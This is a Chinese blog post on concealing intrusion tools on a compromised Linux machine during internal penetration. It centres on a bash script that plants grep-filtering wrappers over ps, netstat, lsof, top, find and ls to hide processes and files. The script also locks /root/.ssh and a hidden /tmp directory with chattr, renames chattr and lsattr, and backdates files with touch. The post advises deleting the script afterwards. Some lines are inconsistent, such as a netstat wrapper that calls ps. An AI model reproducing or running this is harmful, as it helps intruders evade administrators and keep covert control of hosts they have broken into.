君子藏器于身待时而动,安全不露圭角覆盂之安。
——AnonySec
https://payloads.cn
前言
在内网渗透时,有时需要将工具放在目标机进程执行,但这里就需要考虑隐蔽性的问题。下面所讲的不是什么高大上的技术,只是一些常用的技巧。
进程隐匿
netstat 伪装
首先,包装下 netstat 命令,ps 路径为:/usr/bin/netstat
之后,创建/usr/local/bin/netstat
文件,写入内容:
1 2 3
| #!/bin/bash
/usr/bin/ps $@ | grep -Ev 'name|address|port'
|
最后,赋予执行权限 chmod +x /usr/local/bin/netstat
执行which netstat
看下命令变化:
netstat 命令修改前后的对比:
当我们自己使用时,直接用/bin/netstat
就 OK 了。
文件隐匿
首先,看下 Linux chattr 命令,用于改变文件属性。这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:
- a:让文件或目录仅供附加用途
- b:不更新文件或目录的最后存取时间
- c:将文件或目录压缩后存放
- d:将文件或目录排除在倾倒操作之外
- i:不得任意更动文件或目录
- s:保密性删除文件或目录
- S:即时更新文件或目录
- u:预防意外删除
实战中常用的为 +a
(只能追加,不能删除) 与 +i
(不能更改) :
这里,还需要将 chattr
与 lsattr
命令进程隐藏:
1 2
| mv /usr/bin/chattr /usr/bin/cht mv /usr/bin/lsattr /usr/bin/lst
|
文件时间修改
touch -acmr /bin/ls /usr/bin/cht
( 修改 后一个文件时间 与 前一个文件时间 一致)
参数
- -a:改变访问时间为当前时间
- -m:改变修改时间为当前时间
- -c:文件不存在不新建文件
- -r:使用参考文件的时间
- -d:设置为指定时间
- -t:设置档案的时间记录
附: sh脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| #!/bin/bash
touch /usr/local/bin/ps
cat <<EOF >> /usr/local/bin/ps #!/bin/bash /bin/ps \$@ | grep -Ev 'name|address|port' /usr/bin/ps \$@ | grep -Ev 'name|address|port' EOF
chmod +x /usr/local/bin/ps && touch -acmr /bin/ps /usr/local/bin/ps
touch /usr/local/bin/netstat
cat <<EOF >> /usr/local/bin/netstat #!/bin/bash /bin/netstat \$@ | grep -Ev 'name|address|port' /usr/bin/netstat \$@ | grep -Ev 'name|address|port' EOF
chmod +x /usr/local/bin/netstat && touch -acmr /bin/netstat /usr/local/bin/netstat
touch /usr/local/bin/lsof
cat <<EOF >> /usr/local/bin/lsof #!/bin/bash /bin/lsof \$@ | grep -Ev 'name|address|port' /usr/bin/lsof \$@ | grep -Ev 'name|address|port' EOF
chmod +x /usr/local/bin/lsof && touch -acmr /bin/lsof /usr/local/bin/lsof
touch /usr/local/bin/top
cat <<EOF >> /usr/local/bin/top #!/bin/bash /bin/top \$@ | grep -Ev 'name|address|port' /usr/bin/top \$@ | grep -Ev 'name|address|port' EOF
chmod +x /usr/local/bin/top && touch -acmr /bin/top /usr/local/bin/lsof
touch /usr/local/bin/find
cat <<EOF >> /usr/local/bin/find #!/bin/bash /bin/find \$@ | grep -Ev 'name|address|port' /usr/bin/find \$@ | grep -Ev 'name|address|port' EOF
chmod +x /usr/local/bin/find && touch -acmr /bin/find /usr/local/bin/lsof
touch /usr/local/bin/ls
cat <<EOF >> /usr/local/bin/ls #!/bin/bash /bin/ls \$@ | grep -Ev 'name|address|port' /usr/bin/ls \$@ | grep -Ev 'name|address|port' EOF
chmod +x /usr/local/bin/ls && touch -acmr /bin/ls /usr/local/bin/ls
mkdir /tmp/.tmp/ chattr +a /tmp/.tmp/ chattr +a /root/.ssh/ mv /usr/bin/chattr /usr/bin/cht mv /usr/bin/lsattr /usr/bin/lst
|
修改命令变量后,重启终端生效,执行后记得删除sh脚本 !
Reference